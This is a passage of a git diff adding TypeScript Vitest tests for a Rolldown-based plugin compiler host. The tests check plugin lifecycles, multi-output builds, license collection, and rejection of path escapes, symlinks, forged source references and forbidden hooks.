warning。 */ - const relaxedDiagnostics = new DiagnosticCollector(); - compatibility.addAll([ - { platform: CODEX_PLATFORM, subject: 'skill:dependency', capability: 'component', level: 'unsupported', reason: 'Dependency unsupported.' }, - { platform: CODEX_PLATFORM, subject: 'command:consumer', capability: 'component', level: 'native', reason: 'Command supported.' }, - ]); - compatibility.applyStrictness(strictDiagnostics, { id: CODEX_PLATFORM, strict: true }); - /** generateBundle 开始前的 checkpoint。 */ - const generateStart = compatibility.size; - compatibility.add({ - platform: CODEX_PLATFORM, - subject: 'bundle:plugin', - capability: 'packaging', - level: 'degraded', - reason: 'Bundle packaging degraded.', - }); - compatibility.applyStrictness(strictDiagnostics, { id: CODEX_PLATFORM, strict: true }, generateStart); - compatibility.applyStrictness(relaxedDiagnostics, { id: CODEX_PLATFORM, strict: false }, generateStart); - /** 依赖传播开始前的 checkpoint。 */ - const propagationStart = compatibility.size; - compatibility.propagateDependencies([ - { subject: 'command:consumer', dependsOn: ['skill:dependency'] }, - ]); - compatibility.applyStrictness(strictDiagnostics, { id: CODEX_PLATFORM, strict: true }, propagationStart); - compatibility.applyStrictness(relaxedDiagnostics, { id: CODEX_PLATFORM, strict: false }, propagationStart); - - expect(strictDiagnostics.diagnostics.filter(item => item.code === 'COMPATIBILITY_STRICT')).toHaveLength(3); - expect(strictDiagnostics.diagnostics).toContainEqual(expect.objectContaining({ message: expect.stringContaining('bundle:plugin') })); - expect(strictDiagnostics.diagnostics).toContainEqual(expect.objectContaining({ message: expect.stringContaining('command:consumer') })); - expect(relaxedDiagnostics.diagnostics.filter(item => item.code === 'COMPATIBILITY_RELAXED')).toHaveLength(2); - }); -}); - -describe('metadata disposition collector', () => { - it('reports omitted fields as warnings without failing strict feature compatibility', () => { - /** 元数据 warning 和功能 strictness 共用的诊断集合。 */ - const diagnostics = new DiagnosticCollector(); - /** 记录 emitted 与 omitted 字段去向的 Collector。 */ - const metadata = new MetadataDispositionCollector(diagnostics); - metadata.add({ platform: CODEX_PLATFORM, field: 'name', disposition: 'emitted', output: 'manifest.name', reason: 'Supported.' }); - metadata.add({ platform: CODEX_PLATFORM, field: 'author.url', disposition: 'omitted', reason: 'The platform has no field.' }); - /** 只有完整支持条目的严格功能 Collector。 */ - const compatibility = new CompatibilityCollector(); - compatibility.add({ platform: CODEX_PLATFORM, subject: 'skill:hello', capability: 'component', level: 'native', reason: 'Supported.' }); - compatibility.applyStrictness(diagnostics, { id: CODEX_PLATFORM, strict: true }); - - expect(diagnostics.hasErrors).toBe(false); - expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ - code: 'METADATA_OMITTED', severity: 'warning', fieldPath: ['author.url'], - })); - expect(metadata.entries.map(entry => entry.field)).toEqual(['author.url', 'name']); - }); -}); diff --git a/packages/core/test/compiler-managed.test.ts b/packages/core/test/compiler-managed.test.ts new file mode 100644 index 0000000..36e6c07 --- /dev/null +++ b/packages/core/test/compiler-managed.test.ts @@ -0,0 +1,614 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { VERSION } from 'rolldown'; +import type { + CompileJob, + ManagedRolldownPlugin, +} from '../src/kernel-types.js'; +import { CompilerHost } from '../src/compiler/compiler-host.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WatchRegistry } from '../src/kernel/watch-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; + +/** Compiler Host 测试创建的临时工程根。 */ +const roots: string[] = []; + +/** + * 创建 owner-scoped Compiler Host 测试夹具。 + * + * @param owner 当前集成 owner。 + * @returns 来源、service、Asset Registry 与 Watch 记录。 + */ +async function fixture(owner = 'extension:managed') { + /** 当前测试独占的工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-compiler-managed-')); + roots.push(root); + /** 受管作者源码根。 */ + const sourceRoot = path.join(root, 'src', 'owned'); + await fs.mkdir(sourceRoot, { recursive: true }); + await fs.writeFile(path.join(sourceRoot, 'main.ts'), [ + 'import { message } from "./message.ts";', + 'export const value: string = message;', + ].join('\n')); + await fs.writeFile(path.join(sourceRoot, 'message.ts'), 'export const message: string = "source";\n'); + /** 当前 BuildSession 能力作用域。 */ + const scope = new BuildSessionScope(); + /** SourceRef 唯一签发注册表。 */ + const sources = new SourceRegistry(scope, root); + /** owner workDir 唯一签发注册表。 */ + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + /** AssetRef 唯一签发注册表。 */ + const assets = new AssetRegistry(scope, sources, work); + /** 当前 Session 唯一 Watch Registry。 */ + const watch = new WatchRegistry(scope, root); + /** 当前 owner 的作者来源根 ref。 */ + const sourceDirectory = await sources.issueRoot(owner, sourceRoot); + /** 当前 owner 来源 service。 */ + const sourceService = sources.service(owner); + /** 当前 owner 精确入口 ref。 */ + const entry = await sourceService.file(sourceDirectory, 'main.ts'); + /** BuildSession 唯一 Compiler Host。 */ + const host = new CompilerHost({ + projectRoot: root, + sources, + workDirectories: work, + assets, + watch, + }); + return { + root, + sourceRoot, + sourceDirectory, + sourceService, + entry, + assets, + service: await host.service(owner), + watch, + owner, + scope, + }; +} + +/** + * 在 fixture 中写入一个具备完整法律材料的真实 package dependency。 + * + * @param root 当前测试工程根。 + */ +async function writeLicensedPackage(root: string): Promise { + /** 可由 Rolldown bare import 解析的 package 根。 */ + const packageRoot = path.join(root, 'node_modules', 'managed-license-fixture'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: 'managed-license-fixture', + version: '1.2.3', + type: 'module', + exports: './index.js', + license: 'MIT', + })); + await fs.writeFile(path.join(packageRoot, 'index.js'), 'export const licensed = "licensed";\n'); + await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'Managed license fixture.\n'); +} + +/** + * 创建一个使用受管源码的最小 managed Job。 + * + * @param entry 当前 owner 的 SourceFileRef。 + * @param overrides 需要覆盖的 Job 字段。 + * @returns 可直接交给 CompilerService 的 Job。 + */ +function managedJob( + entry: Awaited['file']>>, + overrides: Record = {}, +): CompileJob<'managed-rolldown'> { + return { + id: 'managed-job', + profile: 'managed-rolldown', + entries: { main: { type: 'source', source: entry, mode: 0o755 } }, + options: { + outputs: [{ id: 'esm', options: { format: 'es', entryFileNames: 'main.mjs' } }], + policy: { licenses: 'ignore' }, + }, + ...overrides, + } as CompileJob<'managed-rolldown'>; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('managed Rolldown Compiler Host', () => { + it('executes real input/output Plugin lifecycles, multi-output and signs GeneratedAsset refs', async () => { + /** 当前完整 Compiler Host 夹具。 */ + const current = await fixture(); + /** Plugin lifecycle 的精确执行顺序。 */ + const calls: string[] = []; + /** input Plugin 引入 resolve/load/transform 真实生命周期。 */ + const inputPlugin: ManagedRolldownPlugin = { + name: 'input-lifecycle', + options: options => (calls.push('options'), options), + buildStart: () => { + calls.push('build-start'); + }, + resolveId(source) { + if (source === 'virtual:extra') + return '\0test:extra'; + return null; + }, + load(id) { + if (id === '\0test:extra') { + calls.push('load'); + return 'export const extra = "extra";'; + } + return null; + }, + transform: { + filter: { id: /main\.ts$/u }, + handler(code) { + calls.push('transform'); + return `${code}\nimport { extra } from "virtual:extra"; export const combined = value + extra;`; + }, + }, + buildEnd: () => { + calls.push('build-end'); + }, + closeBundle: () => { + calls.push('close-bundle'); + }, + }; + /** 两个 output Plugin 证明声明顺序与各自 render/generate hook。 */ + const outputPlugin = (id: string): ManagedRolldownPlugin => ({ + name: `output-${id}`, + outputOptions: options => (calls.push(`output-options:${id}`), options), + renderChunk: code => (calls.push(`render:${id}`), { code: `${code}\n/* ${id} */`, map: null }), + generateBundle: () => { + calls.push(`generate:${id}`); + }, + }); + /** Promise/nested array Plugin option 组合。 */ + const promisedPlugin = Promise.resolve(inputPlugin); + const job = managedJob(current.entry, { + options: { + inputOptions: { plugins: [[false, promisedPlugin]] }, + outputs: [ + { id: 'esm', options: { format: 'es', entryFileNames: 'main.mjs', plugins: [outputPlugin('esm')] } }, + { id: 'cjs', options: { format: 'cjs', entryFileNames: 'main.cjs', plugins: [outputPlugin('cjs')] } }, + ], + policy: { licenses: 'ignore' }, + }, + }); + + const result = await current.service.compile(job); + + expect(current.service.engine).toEqual({ name: 'rolldown', version: VERSION }); + expect(result.engine).toEqual({ name: 'rolldown', version: VERSION }); + expect(result.outputs.map(output => [output.outputId, output.fileName, output.isEntry])).toEqual([ + ['esm', 'main.mjs', true], + ['cjs', 'main.cjs', true], + ]); + expect(result.outputs.every(output => output.asset.kind === 'generated-asset')).toBe(true); + expect(calls).toContain('options'); + expect(calls).toContain('load'); + expect(calls).toContain('transform'); + expect(calls.indexOf('generate:esm')).toBeLessThan(calls.indexOf('generate:cjs')); + expect(calls.at(-1)).toBe('close-bundle'); + expect(result.modules.every(module => !module.id.includes(current.root))).toBe(true); + expect(current.watch.snapshot().paths).toContain(await fs.realpath(path.join(current.sourceRoot, 'message.ts'))); + /** GeneratedAsset 字节可由当前 owner 通过 Registry 安全读取。 */ + const bytes = await current.assets.service(current.owner).read(result.outputs[0]!.asset); + expect(new TextDecoder().decode(bytes)).toContain('/* esm */'); + }); + + it('supports virtual entries resolved from an authorized SourceDirectoryRef', async () => { + /** 当前完整 Compiler Host 夹具。 */ + const current = await fixture(); + /** 虚拟 entry 的相对 import 必须从 SourceDirectoryRef 解析。 */ + const result = await current.service.compile(managedJob(current.entry, { + entries: { + virtual: { + type: 'virtual', + code: 'export { message } from "./message.ts";', + resolveFrom: current.sourceDirectory, + }, + }, + })); + + expect(result.outputs).toHaveLength(1); + expect(result.modules.some(module => module.id === 'src/owned/message.ts')).toBe(true); + expect(JSON.stringify(result)).not.toContain(current.root); + }); + + it('normalizes ordinary deterministic output and audits every emitted byte kind', async () => { + const current = await fixture(); + /** 默认非压缩 Rolldown region 不得让普通 deterministic Job 自我拒绝。 */ + const success = await current.service.compile(managedJob(current.entry, { + id: 'deterministic-success', + options: { + outputs: [{ id: 'esm', options: { format: 'es', entryFileNames: 'main.mjs' } }], + policy: { deterministic: true, licenses: 'ignore' }, + }, + })); + const successBytes = await current.assets.service(current.owner).read(success.outputs[0]!.asset); + expect(new TextDecoder().decode(successBytes)).not.toContain(current.root); + + /** renderChunk 注入工程根必须在签发 Asset 前失败。 */ + const chunkLeak: ManagedRolldownPlugin = { + name: 'chunk-path-leak', + renderChunk: code => ({ code: `${code}\nglobalThis.__managedRoot = ${JSON.stringify(current.root)};`, map: null }), + }; + await expect(current.service.compile(managedJob(current.entry, { + id: 'deterministic-chunk-leak', + options: { + outputs: [{ id: 'esm', options: { format: 'es', plugins: [chunkLeak] } }], + policy: { deterministic: true, licenses: 'ignore' }, + }, + }))).rejects.toThrow('absolute build path'); + + /** generateBundle 发出的普通 Asset 同样属于 deterministic 字节闭包。 */ + const assetLeak: ManagedRolldownPlugin = { + name: 'asset-path-leak', + generateBundle() { + this.emitFile({ type: 'asset', fileName: 'leak.txt', source: new TextEncoder().encode(current.root) }); + }, + }; + await expect(current.service.compile(managedJob(current.entry, { + id: 'deterministic-asset-leak', + options: { + outputs: [{ id: 'esm', options: { format: 'es', plugins: [assetLeak] } }], + policy: { deterministic: true, licenses: 'ignore' }, + }, + }))).rejects.toThrow('absolute build path'); + + await expect(current.service.compile(managedJob(current.entry, { + id: 'deterministic-disabled-normalization', + options: { + outputs: [{ id: 'esm', options: { format: 'es', minify: false } }], + policy: { deterministic: true, licenses: 'ignore' }, + }, + }))).rejects.toThrow('cannot disable whitespace normalization'); + }); + + it('retains an authorized watch file that does not exist yet', async () => { + const current = await fixture(); + const pending = path.join(current.sourceRoot, 'future.config.ts'); + /** addWatchFile 的标准 missing-file 用法必须进入 pending Watch snapshot。 */ + const plugin: ManagedRolldownPlugin = { + name: 'pending-watch-file', + buildStart() { + this.addWatchFile(pending); + }, + }; + + await current.service.compile(managedJob(current.entry, { + options: { + inputOptions: { plugins: [plugin] }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + policy: { licenses: 'ignore' }, + }, + })); + + expect(current.watch.snapshot().observations).toContainEqual({ + path: path.join(await fs.realpath(current.sourceRoot), 'future.config.ts'), + type: 'file', + identity: 'src/owned/future.config.ts', + pending: true, + }); + }); + + it('rejects pending watch escape and symlink ancestor paths', async () => { + const escaped = await fixture(); + /** project 内但 owner source root 外的 missing file 不属于授权恢复入口。 */ + const escapePlugin: ManagedRolldownPlugin = { + name: 'pending-watch-escape', + buildStart() { this.addWatchFile(path.join(escaped.root, 'outside.config.ts')); }, + }; + await expect(escaped.service.compile(managedJob(escaped.entry, { + id: 'pending-watch-escape', + options: { + inputOptions: { plugins: [escapePlugin] }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + policy: { licenses: 'ignore' }, + }, + }))).rejects.toThrow('outside its authorized module graph'); + + const linked = await fixture(); + /** 作者 source root 内的 symlink 祖先不能把 pending file 指向其他树。 */ + const external = path.join(linked.root, 'external'); + await fs.mkdir(external); + await fs.symlink(external, path.join(linked.sourceRoot, 'linked'), 'dir'); + const symlinkPlugin: ManagedRolldownPlugin = { + name: 'pending-watch-symlink', + buildStart() { this.addWatchFile(path.join(linked.sourceRoot, 'linked/future.config.ts')); }, + }; + await expect(linked.service.compile(managedJob(linked.entry, { + id: 'pending-watch-symlink', + options: { + inputOptions: { plugins: [symlinkPlugin] }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + policy: { licenses: 'ignore' }, + }, + }))).rejects.toThrow(/(?:symbolic links|regular directory ancestor)/u); + }); + + it('accepts only an authorized SourceFileRef for explicit tsconfig', async () => { + /** 当前完整 Compiler Host 夹具。 */ + const current = await fixture(); + await fs.writeFile(path.join(current.sourceRoot, 'tsconfig.json'), JSON.stringify({ + compilerOptions: { useDefineForClassFields: true }, + })); + /** 当前 owner 精确签发的 tsconfig SourceFileRef。 */ + const tsconfig = await current.sourceService.file(current.sourceDirectory, 'tsconfig.json'); + + await expect(current.service.compile(managedJob(current.entry, { + options: { + inputOptions: { tsconfig }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + }, + }))).resolves.toMatchObject({ job: 'managed-job' }); + + /** 字符串不是 SourceRef capability,即使工程内存在也必须拒绝。 */ + await expect(current.service.compile(managedJob(current.entry, { + id: 'string-tsconfig', + options: { + inputOptions: { tsconfig: 'src/owned/tsconfig.json' }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + }, + }))).rejects.toThrow('SourceFileRef'); + }); + + it('snapshots nested options and Plugin hook shells before promised Plugins yield', async () => { + /** 当前完整 Compiler Host 夹具。 */ + const current = await fixture(); + /** 原始输出参数将在 Plugin Promise 解析期间修改。 */ + const outputOptions: Record = { format: 'es', entryFileNames: 'stable.mjs' }; + /** object-hook 外壳在 await 后修改也不得换掉当次 handler/filter。 */ + let transformed = 0; + const hook = { + filter: { id: /main\.ts$/u }, + handler(code: string) { + transformed += 1; + return code; + }, + }; + /** Promise 解析前留出一个 microtask mutation 窗口。 */ + /** 已解析 thenable 仍会使 Compiler 进入 await 边界。 */ + const plugin = { name: 'snapshot-plugin', transform: hook }; + const job = managedJob(current.entry, { + options: { + inputOptions: { resolve: { extensions: ['.ts'] }, plugins: [plugin] }, + outputs: [{ id: 'esm', options: outputOptions }], + policy: { licenses: 'ignore' }, + }, + }); + const pending = current.service.compile(job); + outputOptions.entryFileNames = 'mutated.mjs'; + hook.handler = () => { + throw new Error('mutated hook must not run'); + }; + hook.filter.id = /never-match/u; + + const result = await pending; + + expect(result.outputs[0]?.fileName).toBe('stable.mjs'); + expect(transformed).toBe(1); + }); + + it('rejects forbidden/unknown fields and hooks before any Plugin executes', async () => { + /** 当前完整 Compiler Host 夹具。 */ + const current = await fixture(); + /** 被禁 Plugin 不得触发任何生命周期。 */ + let executed = false; + const forbiddenPlugin = { + name: 'forbidden', + buildStart: () => { + executed = true; + }, + writeBundle: () => { + executed = true; + }, + }; + + await expect(current.service.compile(managedJob(current.entry, { + options: { + inputOptions: { plugins: [forbiddenPlugin] }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + }, + }))).rejects.toThrow('writeBundle'); + expect(executed).toBe(false); + + /** 新 Job ID 验证嵌套 watch/dev 字段在引擎前失败。 */ + await expect(current.service.compile(managedJob(current.entry, { + id: 'nested-dev', + options: { + inputOptions: { experimental: { incrementalBuild: true } }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + }, + }))).rejects.toThrow('incrementalBuild'); + await expect(current.service.compile(managedJob(current.entry, { + id: 'unknown-field', + options: { + inputOptions: { futureDirectWrite: true }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + }, + }))).rejects.toThrow('not supported'); + }); + + it('blocks options/outputOptions attempts to rewrite Core-owned fields and still closes the bundle', async () => { + /** 当前完整 Compiler Host 夹具。 */ + const current = await fixture(); + /** closeBundle 证明 generate 失败后仍由 Host 关闭 bundle。 */ + let closed = false; + const plugin: ManagedRolldownPlugin = { + name: 'rewrite-input', + options(options) { + return { ...options, cwd: '/tmp/escape' }; + }, + closeBundle: () => { + closed = true; + }, + }; + await expect(current.service.compile(managedJob(current.entry, { + options: { + inputOptions: { plugins: [plugin] }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + }, + }))).rejects.toThrow('Core-managed field "cwd"'); + /** options hook 在 rolldown() 返回 bundle 前失败,Host 尚无可关闭句柄。 */ + expect(closed).toBe(false); + + /** 输出 hook 同样不能利用 generate-only 操作绑定物理 dir。 */ + const outputPlugin: ManagedRolldownPlugin = { + name: 'rewrite-output', + outputOptions(options) { + return { ...options, dir: '/tmp/escape' }; + }, + }; + await expect(current.service.compile(managedJob(current.entry, { + id: 'rewrite-output', + options: { + outputs: [{ id: 'esm', options: { format: 'es', plugins: [outputPlugin] } }], + }, + }))).rejects.toThrow('Core-managed field "dir"'); + /** outputOptions 在完整 build 前失败,Rolldown 不调用 Plugin closeBundle hook。 */ + expect(closed).toBe(false); + + /** render 阶段已完成 buildStart,此时 Host finally 关闭会调用 closeBundle。 */ + const closeObserver: ManagedRolldownPlugin = { + name: 'close-observer', + closeBundle: () => { + closed = true; + }, + }; + const renderFailure: ManagedRolldownPlugin = { + name: 'render-failure', + renderChunk() { + throw new Error('render failed'); + }, + }; + await expect(current.service.compile(managedJob(current.entry, { + id: 'render-failure', + options: { + inputOptions: { plugins: [closeObserver] }, + outputs: [{ id: 'esm', options: { format: 'es', plugins: [renderFailure] } }], + }, + }))).rejects.toThrow('render failed'); + expect(closed).toBe(true); + }); + + it('audits source escape, output paths, unresolved imports and generated provenance after Plugins', async () => { + /** 当前完整 Compiler Host 夹具。 */ + const current = await fixture(); + /** 工程外文件不属于作者来源或 package 边界。 */ + const outside = path.join(current.root, 'outside.ts'); + await fs.writeFile(outside, 'export const secret = true;\n'); + const escapePlugin: ManagedRolldownPlugin = { + name: 'source-escape', + resolveId(source) { + return source === 'escape' ? outside : null; + }, + transform(code, id) { + return id.endsWith('main.ts') ? `${code}\nimport "escape";` : null; + }, + }; + await expect(current.service.compile(managedJob(current.entry, { + options: { + inputOptions: { plugins: [escapePlugin] }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + }, + }))).rejects.toThrow('escaped authorized sources'); + + /** generateBundle 在最后修改 fileName 仍会被 Host 输出审计拒绝。 */ + const pathPlugin: ManagedRolldownPlugin = { + name: 'path-escape', + generateBundle(_options, bundle) { + const chunk = Object.values(bundle).find(item => item.type === 'chunk'); + if (chunk !== undefined) + chunk.fileName = '../escape.mjs'; + }, + }; + await expect(current.service.compile(managedJob(current.entry, { + id: 'path-escape', + options: { outputs: [{ id: 'esm', options: { format: 'es', plugins: [pathPlugin] } }] }, + }))).rejects.toThrow('output'); + + /** external 静态 import 在 reject 策略下不得伪装成成功 Bundle。 */ + const unresolvedPlugin: ManagedRolldownPlugin = { + name: 'unresolved', + transform(code, id) { + return id.endsWith('main.ts') ? `${code}\nimport "missing-runtime";` : null; + }, + }; + await expect(current.service.compile(managedJob(current.entry, { + id: 'unresolved', + options: { + inputOptions: { external: ['missing-runtime'], plugins: [unresolvedPlugin] }, + outputs: [{ id: 'esm', options: { format: 'es' } }], + policy: { unresolvedImports: 'reject', licenses: 'ignore' }, + }, + }))).rejects.toThrow('unresolved import'); + + /** 成功结果的 compile provenance 只保留逻辑 module identity。 */ + const success = await current.service.compile(managedJob(current.entry, { id: 'provenance' })); + const metadata = current.assets.describe(current.owner, success.outputs[0]!.asset); + expect(metadata.origin).toMatchObject({ type: 'compile', job: 'provenance', output: 'esm' }); + expect(JSON.stringify(metadata)).not.toContain(current.root); + }); + + it('rejects forged, cross-owner, mutated and symlink-replaced SourceRefs', async () => { + /** 当前 owner 的 Compiler Host 夹具。 */ + const current = await fixture('extension:a'); + /** 等形复制 ref 没有 WeakMap 授权。 */ + const forged = Object.freeze({ ...current.entry }) as typeof current.entry; + await expect(current.service.compile(managedJob(forged))).rejects.toThrow('not authorized'); + + /** 另一 owner 的 CompilerService 不能消费 a 的 SourceRef。 */ + const other = await fixture('extension:b'); + await expect(other.service.compile(managedJob(current.entry))).rejects.toThrow('not authorized'); + + /** 普通内容修改在 Rolldown 读取前由 Source Registry 指纹拒绝。 */ + await fs.writeFile(path.join(current.sourceRoot, 'main.ts'), 'export const changed = true;\n'); + await expect(current.service.compile(managedJob(current.entry, { id: 'mutated' }))).rejects.toThrow('changed after'); + + /** 作者树中任何 symlink 都使整个 Job 失败。 */ + const symlinked = await fixture('extension:symlinked'); + await fs.symlink(path.join(symlinked.sourceRoot, 'message.ts'), path.join(symlinked.sourceRoot, 'linked.ts')); + await expect(symlinked.service.compile(managedJob(symlinked.entry))).rejects.toThrow('symbolic links'); + }); + + it('collects strict licenses by default and allows explicit managed ignore', async () => { + /** 默认 policy 使用实际 package graph 生成相邻法律材料。 */ + const strict = await fixture(); + await writeLicensedPackage(strict.root); + const plugin: ManagedRolldownPlugin = { + name: 'licensed-import', + /** 把真实 package 引入 managed graph。 */ + transform(code, id) { + return id.endsWith('main.ts') ? `${code}\nimport { licensed } from "managed-license-fixture"; export { licensed };` : null; + }, + }; + const result = await strict.service.compile(managedJob(strict.entry, { + options: { + inputOptions: { plugins: [plugin] }, + outputs: [{ id: 'esm', options: { format: 'es', entryFileNames: 'main.mjs' } }], + }, + })); + const license = result.outputs.find(output => output.type === 'licenses')!; + const text = new TextDecoder().decode(await strict.assets.service(strict.owner).read(license.asset)); + expect(text).toContain('managed-license-fixture@1.2.3'); + + /** 显式 ignore 不生成 Core 法律材料。 */ + const ignored = await fixture(); + await writeLicensedPackage(ignored.root); + const ignoredResult = await ignored.service.compile(managedJob(ignored.entry, { + options: { + inputOptions: { plugins: [plugin] }, + outputs: [{ id: 'esm', options: { format: 'es', entryFileNames: 'main.mjs' } }], + policy: { licenses: 'ignore' }, + }, + })); + expect(ignoredResult.outputs.some(output => output.type === 'licenses')).toBe(false); + }); +}); diff --git a/packages/core/test/compiler-portable.test.ts b/packages/core/test/compiler-portable.test.ts new file mode 100644 index 0000000..6c8a6e7 --- /dev/null +++ b/packages/core/test/compiler-portable.test.ts @@ -0,0 +1,260 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { CompileJob, SourceFileRef } from '../src/kernel-types.js'; +import { CompilerHost } from '../src/compiler/compiler-host.js'; +import { packageScope } from '../src/compiler/managed-boundary.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WatchRegistry } from '../src/kernel/watch-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; + +/** portable Compiler 测试创建的临时工程根。 */ +const roots: string[] = []; + +/** + * 写入一个真实可由 Rolldown bare-import 解析的第三方包。 + * + * @param root fixture 工程根。 + * @param options 可选缺失/非法法律材料状态。 + * @returns package 真正物理根。 + */ +async function writeDependency( + root: string, + options: { readonly license?: string | false; readonly legal?: boolean; readonly symlink?: boolean } = {}, +): Promise { + /** symlink 模式模拟 pnpm node_modules 链接到包管理器 store。 */ + const packageRoot = options.symlink === true + ? path.join(root, '.store', 'portable-fixture-dependency') + : path.join(root, 'node_modules', 'portable-fixture-dependency'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: 'portable-fixture-dependency', + version: '3.2.1', + type: 'module', + exports: './index.js', + ...(options.license === false ? {} : { license: options.license ?? 'MIT' }), + })); + await fs.writeFile(path.join(packageRoot, 'index.js'), [ + '/*! @license MIT */', + 'export const dependencyMessage = "dependency-ready";', + ].join('\n')); + if (options.legal !== false) { + await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'Portable fixture dependency license.\n'); + await fs.writeFile(path.join(packageRoot, 'NOTICE.md'), 'Portable fixture notice.\n'); + } + if (options.symlink === true) { + const modules = path.join(root, 'node_modules'); + await fs.mkdir(modules, { recursive: true }); + await fs.symlink(packageRoot, path.join(modules, 'portable-fixture-dependency'), 'dir'); + } + return packageRoot; +} + +/** + * 创建 owner-scoped portable Compiler fixture。 + * + * @param dependency 是否写入依赖及其法律材料。 + * @returns SourceRef、CompilerService、AssetRegistry 与 watch 记录。 + */ +async function fixture(dependency: Parameters[1] | false = {}) { + /** 当前测试独占工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-compiler-portable-')); + roots.push(root); + /** portable 作者源码树。 */ + const sourceRoot = path.join(root, 'src', 'runtime'); + await fs.mkdir(sourceRoot, { recursive: true }); + await fs.writeFile(path.join(sourceRoot, 'helper.ts'), 'export const local: string = "local";\n'); + await fs.writeFile(path.join(sourceRoot, 'main.ts'), [ + 'import { readFile } from "fs/promises";', + 'import { dependencyMessage } from "portable-fixture-dependency";', + 'import { local } from "./helper.ts";', + 'export const value: string = `${dependencyMessage}:${local}:${typeof readFile}`;', + ].join('\n')); + await fs.writeFile(path.join(sourceRoot, 'plain.mts'), 'export const plain: string = "plain";\n'); + /** 可选正常或故障依赖。 */ + const packageRoot = dependency === false ? undefined : await writeDependency(root, dependency); + /** 当前 BuildSession capability registries。 */ + const owner = 'framework:portable'; + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + /** 当前 Session 唯一 Watch Registry。 */ + const watch = new WatchRegistry(scope, root); + const sourceDirectory = await sources.issueRoot(owner, sourceRoot); + const sourceService = sources.service(owner); + const main = await sourceService.file(sourceDirectory, 'main.ts'); + const plain = await sourceService.file(sourceDirectory, 'plain.mts'); + const host = new CompilerHost({ + projectRoot: root, + sources, + workDirectories: work, + assets, + watch, + }); + return { + root, + sourceRoot, + packageRoot, + sourceDirectory, + sourceService, + main, + plain, + assets, + owner, + watch, + service: await host.service(owner), + }; +} + +/** + * 创建固定 portable-node Job。 + * + * @param entries 当前 owner 的命名 SourceRef。 + * @param overrides 需要覆盖的 Job 字段。 + * @returns 可交给 CompilerService 的请求。 + */ +function portableJob( + entries: Readonly>, + overrides: Record = {}, +): CompileJob<'portable-node'> { + return { + id: 'portable-job', + profile: 'portable-node', + entries: Object.fromEntries(Object.entries(entries).map(([id, source]) => [id, { + type: 'source' as const, + source, + mode: id === 'main' ? 0o755 : 0o644, + }])), + ...overrides, + } as CompileJob<'portable-node'>; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('portable-node Compiler Profile', () => { + it('resolves package identity above type-only nested manifests', async () => { + /** 许多 ESM 包在 dist/esm 下放置只含 type 的 package.json。 */ + const current = await fixture(); + /** 模拟真实 SDK 的嵌套 module-format boundary。 */ + const nested = path.join(current.packageRoot!, 'dist/esm'); + await fs.mkdir(nested, { recursive: true }); + await fs.writeFile(path.join(nested, 'package.json'), JSON.stringify({ type: 'module' })); + await fs.writeFile(path.join(nested, 'index.js'), 'export const value = true;\n'); + + await expect(packageScope(path.join(nested, 'index.js'))).resolves.toMatchObject({ + name: 'portable-fixture-dependency', + version: '3.2.1', + root: await fs.realpath(current.packageRoot!), + }); + }); + + it('builds each TS entry as an independent Node 20 ESM bundle with strict licenses', async () => { + /** 当前包含第三方依赖的完整 fixture。 */ + const current = await fixture(); + const result = await current.service.compile(portableJob({ main: current.main, plain: current.plain })); + + expect(result.profile).toBe('portable-node'); + expect(result.outputs.map(output => [output.outputId, output.type, output.fileName])).toEqual([ + ['main', 'chunk', 'main.mjs'], + ['main', 'licenses', 'THIRD_PARTY_LICENSES.txt'], + ['plain', 'chunk', 'main.mjs'], + ]); + /** npm dependency 已内联,只保留规范化 node: builtin。 */ + const main = result.outputs.find(output => output.outputId === 'main' && output.type === 'chunk')!; + const mainCode = new TextDecoder().decode(await current.assets.service(current.owner).read(main.asset)); + expect(mainCode).toContain('dependency-ready'); + expect(mainCode).toContain('from"node:fs/promises"'); + expect(mainCode).not.toContain('portable-fixture-dependency"'); + expect(mainCode).not.toContain(current.root); + /** 第三方 license 只与实际包含依赖的 entry 相邻。 */ + const license = result.outputs.find(output => output.type === 'licenses')!; + const licenseText = new TextDecoder().decode(await current.assets.service(current.owner).read(license.asset)); + expect(licenseText).toContain('Package: portable-fixture-dependency@3.2.1'); + expect(licenseText).toContain('License: MIT'); + expect(licenseText).toContain('--- LICENSE ---'); + expect(licenseText).toContain('--- NOTICE.md ---'); + expect(licenseText).not.toContain(current.root); + /** 